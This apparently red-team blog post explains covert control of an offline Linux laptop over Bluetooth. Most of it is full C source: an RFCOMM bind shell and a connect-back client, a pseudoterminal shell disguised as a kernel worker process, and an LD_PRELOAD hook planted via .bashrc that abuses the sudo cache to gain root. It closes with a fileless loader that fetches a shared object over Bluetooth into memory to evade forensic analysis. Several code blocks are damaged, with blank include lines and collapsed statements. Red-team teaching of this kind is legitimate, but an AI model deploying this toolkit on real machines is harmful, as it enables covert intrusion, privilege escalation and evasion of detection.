BlackArrow blog header

Interactive Shell via Bluetooth

Occasionally, one or several phases requiring physical access to a machine are included during Red Team exercises. This requires redesigning how to confront this type of particular scenarios. In this post, it is explained the physical intrusion process followed in a Linux laptop without internet connection, although Wi-Fi and Bluetooth is available.

The main aim of this post, which is addressed to a junior audience, is documenting and explaining the following points:

  1. How to exchange information via RFCOMN between two devices with Bluetooth
  2. How to obtain an interactive shell in order to run commands
  3. How to abuse sudo cache in order to raise privileges
  4. How to run binaries in memory in order to reduce our trace

Let’s analyze every section.

0x00 – Introduction

Different alternatives should be taken into account in order to carry out the manipulation remotely due to the operation nature and the existing clear restriction since the objective machine is not connected to internet. The easiest way might be probably raising a small Wi-Fi access point and connecting the compromised machine to it. However, taking into account the given scenario, another way was explored: Establishing communication via Bluetooth.

On the other hand, in the scenario suggested to the Read Team, the laptop is being used by a worker who uses a limited account but who is enabled to carry out administrative tasks in the machine using sudo.

During the last years, how to run commands in the machine using social engineering and devices emulating keyboards and similar strategies has been widely described in different articles and that is the reason why, this information is not included in this post.

0x01 – Connecting with the attacker via Bluetooth

For simplicity’s sake, the information exchange between the compromised machine and the Red Team is carried out via RFCOMM protocol which is well-supported. Programming a small server accepting connections is quite easy since it is similar to how it should be done for TCP/IP:

#include                                              
 #include                                             
 #include                                             
 #include                                             
 #include <sys/socket.h>                                        
 #include <bluetooth/bluetooth.h>                               
 #include <bluetooth/rfcomm.h>                                  
                                                                
 #define BANNER "[+] You are connected to the device!n"        
                                                                
 // https://people.csail.mit.edu/albert/bluez-intro/x502.html   
                                                                
 int main (int argc, char *argv[]) {                            
     int s, client;                                             
                                                                
     /*                                                         
     struct sockaddr_rc {                                       
         sa_family_t rc_family;                                 
         bdaddr_t    rc_bdaddr;                                 
         uint8_t     rc_channel;                                
     };                                                         
     */                                                         
                                                                
     struct sockaddr_rc loc_addr = {0}, client_addr = {0};      
     socklen_t opt = sizeof(client_addr);                       
                                                                
     s = socket(AF_BLUETOOTH, SOCK_STREAM, BTPROTO_RFCOMM);     
                                                                
     loc_addr.rc_family = AF_BLUETOOTH;                         
     loc_addr.rc_bdaddr = *BDADDR_ANY; // Cualquier adaptador disponible en la máquina                                                   
     loc_addr.rc_channel = (uint8_t) 1; // Canal 1              
                                                                
     bind(s, (struct sockaddr *)&loc_addr, sizeof(loc_addr));   
     listen(s,1);                                               
                                                                
     for(;;) {                                                  
         client = accept(s, (struct sockaddr *)&client_addr, &opt);                                                                      
         printf("[+] New connection!n");                       
                                                                
         // Escribimos un mensaje al cliente que se ha conectado
         write(client, BANNER, strlen(BANNER));                 
     }                                                          
     close(client);                                             
     close(s);
     return 0;                                                          
 }

Before running this, the Bluetooth device should be enabled to be detected in order to proceed to pairing and communicating:

hciconfig hci0 piscan

Once paired, we can communicate with the server created using the “BlueTerm”Android application for the proof of concept.

Conexión a través de BlueTooth satisfactoria

Successful connection via Bluetooth

Other option and probably a better alternative to the own compromised machine acting as server, could be instead acting as client. Therefore, we have to create a small program searching for any Bluetooth device available and based on some easy premise (for example, a particular name or address) and trying to connect to ourselves. Then, this is when the information exchange starts. Please find below an example of how to implement the aforementioned logic:

#include 
#include 
#include 
#include <sys/socket.h>
#include <bluetooth/bluetooth.h>
#include <bluetooth/hci.h>
#include <bluetooth/hci_lib.h>
#include <bluetooth/rfcomm.h>

// Nombre del dispotivo que queremos encontrar
#define TARGET "Gojira"
#define BANNER "Connected to device!n"

// https://people.csail.mit.edu/albert/bluez-intro/c404.html

int connect_client(char *address) {
    struct sockaddr_rc addr = {0};
    int s, client;
    s = socket(AF_BLUETOOTH, SOCK_STREAM, BTPROTO_RFCOMM);
    addr.rc_family = AF_BLUETOOTH;
    addr.rc_channel = (uint8_t) 1;
    str2ba(address, &addr.rc_bdaddr);
    client = connect(s, (struct sockaddr*)&addr, sizeof(addr));
    if (client < 0) {
        fprintf(stderr, "[-] Error: could not connect to targetn");
        return 0;
    }
    write(s, BANNER, strlen(BANNER));
    return 1;
}


int main (int argc, char **argv) {
    inquiry_info *ii = NULL;
    int max_rsp, num_rsp;
    int dev_id, sock, len, flags, i;
    char addr[19] = {0};
    char name[248] = {0};
    
    // Utilizamos el primer bluetooth disponible
    dev_id = hci_get_route(NULL);
    sock = hci_open_dev(dev_id);
    if (dev_id < 0 || sock < 0) {
        fprintf(stderr, "[-] Error opening socketn");
        exit(EXIT_FAILURE);
    }
    
    len = 8;
    max_rsp = 255;

    // Limpiamos los dispositivos que puedan estar cacheados anteriormente
    flags = IREQ_CACHE_FLUSH;
    ii = (inquiry_info*) malloc(max_rsp * sizeof(inquiry_info));
    
    // Bucle para escanear
    for(;;) {
        // Escaneo
        num_rsp = hci_inquiry(dev_id, len, max_rsp, NULL, &ii, flags);
        if (num_rsp < 0) {
            fprintf(stderr, "[+] Error inquiry operationn");
            free(ii);
            exit(EXIT_FAILURE);
        }

        // Iteramos por todos los dispoitivos encontrados
        for (i=0; i < num_rsp; i++) { ba2str(&(ii+i)->bdaddr, addr);
            memset(name, 0, sizeof(name));

            // Leemos el nombre de los dispositivos descubiertos
            hci_read_remote_name(sock, &(ii+i)->bdaddr, sizeof(name), name, 0);
            
            // Comprobamos si es el que estamos buscando
            if (strcmp(TARGET, name) == 0) {
                printf("Found! %s - %sn", name, addr);
                free(ii);
                close(sock);
                connect_client(addr);
                exit(EXIT_SUCCESS);
            }
        }

    }
}

These examples also highlight how to use exceptionally RFCOMM in order to establish rapid communication. Besides, controlling the machine does not require more difficulty since it is fairly easy to implement. Let’s continue.

0x02 – Obtaining an interactive shell

The following step refers to running commands in the machine from our own mobile phone or any other device. For this purpose, we will carry on with the example of the server waiting for connections in the machine itself. The most common method in order to obtain a shell is forking the process, use the socket as stdin/stdout/stderr for the child process and running the commands interpreter

#include lt;stdio.h>
#include lt;stdlib.h>
#include lt;unistd.h>
#include lt;signal.h>
#include lt;string.h>
#include lt;sys/socket.h>
#include lt;bluetooth/bluetooth.h>
#include lt;bluetooth/rfcomm.h>

#define BANNER "[+] You are connected to the device!n"

// https://people.csail.mit.edu/albert/bluez-intro/x502.html

int main (int args, char *argv[]) {
    int s, client;
    pid_t pid;

    signal(SIGCHLD, SIG_IGN);
    /*     
    struct sockaddr_rc {
        sa_family_t rc_family;
        bdaddr_t    rc_bdaddr;
        uint8_t     rc_channel;
    }; 
    */

    struct sockaddr_rc loc_addr = {0}, client_addr = {0};
    socklen_t opt = sizeof(client_addr);

    s = socket(AF_BLUETOOTH, SOCK_STREAM, BTPROTO_RFCOMM);

    loc_addr.rc_family = AF_BLUETOOTH;
    loc_addr.rc_bdaddr = *BDADDR_ANY; // Cualquier adaptador disponible en la máquina 
    loc_addr.rc_channel = (uint8_t) 1; // Canal 1

    bind(s, (struct sockaddr *)&loc_addr, sizeof(loc_addr));
    listen(s,1);
    
    for(;;) {
        client = accept(s, (struct sockaddr *)&client_addr, &opt);
        printf("[+] New connection!n");
        
        // Escribimos un mensaje al cliente que se ha conectado
        write(client, BANNER, strlen(BANNER));

        pid = fork();
        if (pid == 0) {
            dup2(client, 0);
            dup2(client, 1);
            dup2(client,2);
            execve("/bin/sh", NULL, NULL);
        }
    }
    close(client);
    close(s);
    return 0;
}

The underlying problem when running commands this way could be the emerged limitation, since we cannot -easily- start a session via SSH, use VIM, etc.

Shell a través de BlueTooth

Shell via Bluetooth

Since several years ago and probably due to OSCP and derived products, a large amount of articles and cheatsheets have been published where different methods are detailed in order to pass from a limited shell to a genuine interactive shell. Some of these methods are:

– The classic python one-liner with pty.spawn(“/bin/bash”)’
– Socat with “pty” option
– Expect / script
– stty

It is always good to know this type of aces up the sleeve, however, if we have the opportunity of using our own binary as a means to run commands in the machine… Then, why leaving this part to third parties when this could be implemented by us.

Using forkpty(), a child process operating from a pseudoterminal can be created and the shell can be run from there. A quick proof of concept could be the following:

#include 
#include 
#include 
#include 
#include 
#include <sys/socket.h>
#include <bluetooth/bluetooth.h>
#include <bluetooth/rfcomm.h>
#include 
#include <sys/select.h>
#include <sys/wait.h>
#include 

#define BANNER "[+] You are connected to the device!n"

// https://people.csail.mit.edu/albert/bluez-intro/x502.html

int main (int args, char *argv[]) {
    int s, client;

    signal(SIGCHLD, SIG_IGN);
    /*     
    struct sockaddr_rc {
        sa_family_t rc_family;
        bdaddr_t    rc_bdaddr;
        uint8_t     rc_channel;
    }; 
    */

    struct sockaddr_rc loc_addr = {0}, client_addr = {0};
    socklen_t opt = sizeof(client_addr);

    s = socket(AF_BLUETOOTH, SOCK_STREAM, BTPROTO_RFCOMM);

    loc_addr.rc_family = AF_BLUETOOTH;
    loc_addr.rc_bdaddr = *BDADDR_ANY; // Cualquier adaptador disponible en la máquina 
    loc_addr.rc_channel = (uint8_t) 1; // Canal 1

    bind(s, (struct sockaddr *)&loc_addr, sizeof(loc_addr));
    listen(s,1);
    
    for(;;) {
        client = accept(s, (struct sockaddr *)&client_addr, &opt);
        printf("[+] New connection!n");
        
        // Escribimos un mensaje al cliente que se ha conectado
        write(client, BANNER, strlen(BANNER));
        dup2(client, 0);
        dup2(client, 1);
        dup2(client,2);

        //A partir de aquí empieza la magia    
        struct termios terminal;
        int terminalfd, n = 0;
        pid_t pid;
        char input[1024];
        char output[1024];

        // Creamos un nuevo proceso hijo que operará en un pseudoterminal
        pid = forkpty(&terminalfd, NULL, NULL, NULL);
    
        if (pid < 0) {
            fprintf(stderr, "[-] Error: could not forkn");
            exit(EXIT_FAILURE);
        }
        else if (pid == 0) { // Estamos en el proceso hijo que tiene el PTY
            execlp("/bin/zsh", "[kworker:01]", NULL); 
        }
        else { // Proceso padre
            // Atributos: sin ECHO 
            tcgetattr(terminalfd, &terminal);
            terminal.c_lflag &= ~ECHO;
            tcsetattr(terminalfd, TCSANOW, &terminal);

            // Utilizaremos select para comprobar si hay datos y enviarlos en un sentido u otro
            fd_set readfd;
            for(;;) {
                FD_ZERO(&readfd);
                FD_SET(terminalfd, &readfd); // Si terminalfd tiene datos
                FD_SET(1, &readfd); // Si el socket tiene datos
                select(terminalfd + 1, &readfd, NULL, NULL, NULL);
                if (FD_ISSET(terminalfd, &readfd)) { // Hay datos desde el proceso hijo
                    n = read(terminalfd, &output, 1024);
                    if (n <= 0) { write(2, "[+] Shell is dead. Closing connection!nn", strlen("[+] Shell is dead. Closing connection!nn")); break; } write(2, output, n); // Los mandamos por el socket memset(&output, 0, 1024); } if (FD_ISSET(1, &readfd)) { // Hay datos en el socket memset(&input, 0, 1024); n = read(1, &input, 1024); if (n > 0) {
                        write(terminalfd, input, n); // Los escribimos en el STDIN del proceso hijo
                    }
                }
            }


        }
    }
    close(client);
    close(s);
    return 0;
}

Differences regarding our previous shell without a pseudoterminal can be clearly observed in the images below:

Shell interactiva a través de BlueTooth

Interactive Shell via Bluetooth

Vim ejecutado a través de nuestra shell interactiva

Vim run via our interactive shell

With these quick basics we are able to create a small binary enabling machine control with a Shell via Bluetooth. Let’s continue with our journey

0x03 – Raising privileges via sudo cache

Although on previous sections, we have focused on outlining a proof of concept enabling the control via Bluetooth, our program should ideally be run with the maximum privileges possible. One of the oldest techniques that can be used is the one regarding taking advantage of the sudo cache to run commands or a binary of our own.

By default, when a sudo is run for the first time in a terminal, user’s password is required. However, this password is cached during a time lapse, preventing the user to introduce it each time a task is carried out with sudo. This feature can be easily abused if we get to run a binary of our own for repeated times in the terminal where the sudo was performed. Therefore, we hope to find a time window where the password is cached and not requested so that we can eventually perform the sudo.

The easiest way of achieving the aforementioned fact is editing the file .bashrc (or equivalent if any other shell is used) and adding the environment variable LD_PRELOAD with one of our libraries. This is how we can preload our library in the dynamically linked binaries run in that shell. When preloading our library, we are free to hook any function which is usually used to run. Therefore, each time this function is called, one of our functions in charge shall check if the credentials are cached: if this is the case, the desired set of operations will begin.

Important: We are NOT loading our library in sudo (because it contains suid), what we are really doing is loading it in other binaries in order to, whenever the hooked function is run, check if we can perform a sudo without registering the password.

As an easy proof of concept, we can represent a workflow using the following example:

#define _GNU_SOURCE                                                                                             
#include                                                                                               
#include                                                                                              
#include                                                                                               
#include <sys/stat.h>                                                                                           
#include                                                                                               
#include                                                                                              
#include <sys/wait.h>                                                                                           
//Basado en https://blog.maleadt.net/2015/02/25/sudo-escalation/                                                
typedef int (*orig_open_f_type) (const char *pathname, int flags);                                              
               
int open(const char *pathname, int flags, ...){ // A modo de ejemplo "hookearemos" open()                                                                
    orig_open_f_type orig_open;                                                                                 
    pid_t pid, extrapid;                                                                                        
    int empty, exitcode;                                                                                        
               
    orig_open = (orig_open_f_type) dlsym(RTLD_NEXT, "open"); // Guardamos una referencia a la función open original                                                    
               
    pid = fork(); // Nos forkeamos para comprobar si sudo se encuentra cacheado o no                          
    if (pid == 0) { //Si estamos en el hijo...    
        empty = orig_open("/dev/null", O_WRONLY);                                                               
        dup2(empty, STDERR_FILENO); // ...silenciamos cualquier error...                                                           
        execlp("sudo", "sudo", "-n", "true", NULL);// ...y ejecutamos sudo                                        
        exit(-1);                                                                                               
    } else {   // Estamos en el padre...
        wait(&exitcode);                                                                                        
        if (WIFEXITED(exitcode) && WEXITSTATUS(exitcode) == 0) {                                                
            if (exitcode == 0){ // Si todo ha ido bien y hemos podido ejecutar sudo...                                          
                extrapid = fork(); //Nos forkeamos para dejar fluir el programa                               
                if (extrapid == 0) {                                                                            
                    printf("It worked!n"); // Y ejecutamos lo que queramos                                         
                    execlp("sudo", "sudo", "id", NULL);                                                         
                }                                                                                               
            }  
        }      
    }          
    return orig_open(pathname, flags); // Llamamos al open() original y devolvemos el resultado                                     
}

0x04 – Running binaries in memory

Ideally, module form design should be used in order to reduce the track in the compromised laptop, hosting in the machine only a minimum skeleton in charge of carrying out the connection, maybe providing a shell, and leaving the rest of the useful load, for example, small payloads which can be uploaded via Bluetooth in the memory. Then, in case an analysis is carried out afterwards, real capacities will not be known.

From a kernel 3.17 we count on a new syscall called “memfd_create” which enables the collection of a files descriptor associated to the memory. This way, operations with files are carried out, although these ones are not linked to the files system. Therefore, we can use it to host libraries or binaries (which would be downloaded via Bluetooth) containing the most relevant code. This is how we should work with a skeleton in charge of only connecting and downloading a series of modules.

The least impressive alternative although interesting, is downloading our modules in /dev/shm and deleting them quickly once run or loaded. These ideas are explained in detail in ‘Loading “fileless” Shared Objects (memfd_create + dlopen)’  post.

As a small proof of concept, we will combine everything what was tackled in this post (Bluetooth device with any particular name detection, connection, .so download and load):

#define _GNU_SOURCE


#include <sys/socket.h>
#include <bluetooth/bluetooth.h>
#include <bluetooth/hci.h>
#include <bluetooth/hci_lib.h>
#include <bluetooth/rfcomm.h> 
#include 
#include 
#include 
#include 
#include 
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/utsname.h>
#include 


#define TARGET "Gojira"
#define SHM_NAME "IceIceBaby"
#define __NR_memfd_create 319 // https://code.woboq.org/qt5/include/asm/unistd_64.h.html


// Wrapper to call memfd_create syscall
static inline int memfd_create(const char *name, unsigned int flags) {
    return syscall(__NR_memfd_create, name, flags);
}

// Detect if kernel is < or => than 3.17
// Ugly as hell, probably I was drunk when I coded it
int kernel_version() {
    struct utsname buffer;
    uname(&buffer);
    
    char *token;
    char *separator = ".";
    
    token = strtok(buffer.release, separator);
    if (atoi(token) < 3) { return 0; } else if (atoi(token) > 3){
        return 1;
    }

    token = strtok(NULL, separator);
    if (atoi(token) < 17) {
        return 0;
    }
    else {
        return 1;
    }
}


// Returns a file descriptor where we can write our shared object
int open_ramfs(void) {
    int shm_fd;

    //If we have a kernel < 3.17
    // We need to use the less fancy way
    if (kernel_version() == 0) {
        shm_fd = shm_open(SHM_NAME, O_RDWR | O_CREAT, S_IRWXU);
        if (shm_fd < 0) { //Something went wrong :( fprintf(stderr, "[-] Could not open file descriptorn"); exit(-1); } } // If we have a kernel >= 3.17
    // We can use the funky style
    else {
        shm_fd = memfd_create(SHM_NAME, 1);
        if (shm_fd < 0) { //Something went wrong :(
            fprintf(stderr, "[- Could not open file descriptorn");
            exit(-1);
        }
    }
    return shm_fd;
}


// Load the shared object
void load_so(int shm_fd) {
    char path[1024];
    void *handle;

    printf("[+] Trying to load Shared Object!n");
    if (kernel_version() == 1) { //Funky way
        snprintf(path, 1024, "/proc/%d/fd/%d", getpid(), shm_fd);
    } else { // Not funky way :(
        close(shm_fd);
        snprintf(path, 1024, "/dev/shm/%s", SHM_NAME);
    }
    handle = dlopen(path, RTLD_LAZY);
    if (!handle) {
        fprintf(stderr,"[-] Dlopen failed with error: %sn", dlerror());
    }
}

//Connect to client, read module and write to RAM
int download_to_RAM(char *address) {
    struct sockaddr_rc addr = {0};
    char recvBuff[2048];
    int s, client, fd, size;

    s = socket(AF_BLUETOOTH, SOCK_STREAM, BTPROTO_RFCOMM);
    addr.rc_family = AF_BLUETOOTH;
    addr.rc_channel = (uint8_t) 1;
    str2ba(address, &addr.rc_bdaddr);
    client = connect(s, (struct sockaddr*)&addr, sizeof(addr));

    if (client < 0) {
        fprintf(stderr, "[-] Error: could not connect to targetn");
        exit(-1)
    }

    fd = open_ramfs();
    printf("[+] File descriptor for RAM file createdn");
    printf("[+] Reading file from socket & writting to RAM file... ");
    while(1) {
        if ((size = read(s, recvBuff, 2048)) <= 0) {
            printf("finishedn");
            break;
        }
        write(fd, recvBuff, size);
    }
    return fd;
}


int main (int argc, char **argv) {
    int fd;
    inquiry_info *ii = NULL;
    int max_rsp, num_rsp;
    int dev_id, sock, len, flags, i;
    char addr[19] = {0};
    char name[248] = {0};
    
    // Utilizamos el primer bluetooth disponible
    dev_id = hci_get_route(NULL);
    sock = hci_open_dev(dev_id);
    if (dev_id < 0 || sock < 0) {
        fprintf(stderr, "[-] Error opening socketn");
        exit(EXIT_FAILURE);
    }
    
    len = 8;
    max_rsp = 255;

    // Limpiamos los dispositivos que puedan estar cacheados anteriormente
    flags = IREQ_CACHE_FLUSH;
    ii = (inquiry_info*) malloc(max_rsp * sizeof(inquiry_info));
    
    // Bucle para escanear
    for(;;) {
        // Escaneo
        num_rsp = hci_inquiry(dev_id, len, max_rsp, NULL, &ii, flags);
        if (num_rsp < 0) {
            fprintf(stderr, "[+] Error inquiry operationn");
            free(ii);
            exit(EXIT_FAILURE);
        }

        // Iteramos por todos los dispoitivos encontrados
        for (i=0; i < num_rsp; i++) { ba2str(&(ii+i)->bdaddr, addr);
            memset(name, 0, sizeof(name));

            // Leemos el nombre de los dispositivos descubiertos
            hci_read_remote_name(sock, &(ii+i)->bdaddr, sizeof(name), name, 0);
            
            // Comprobamos si es el que estamos buscando
            if (strcmp(TARGET, name) == 0) {
                printf("Found! %s - %sn", name, addr);
                free(ii);
                close(sock);
                fd = download_to_RAM(addr);
                load_so(fd);
                exit(EXIT_SUCCESS);
            }
        }

    }
    exit(0);
}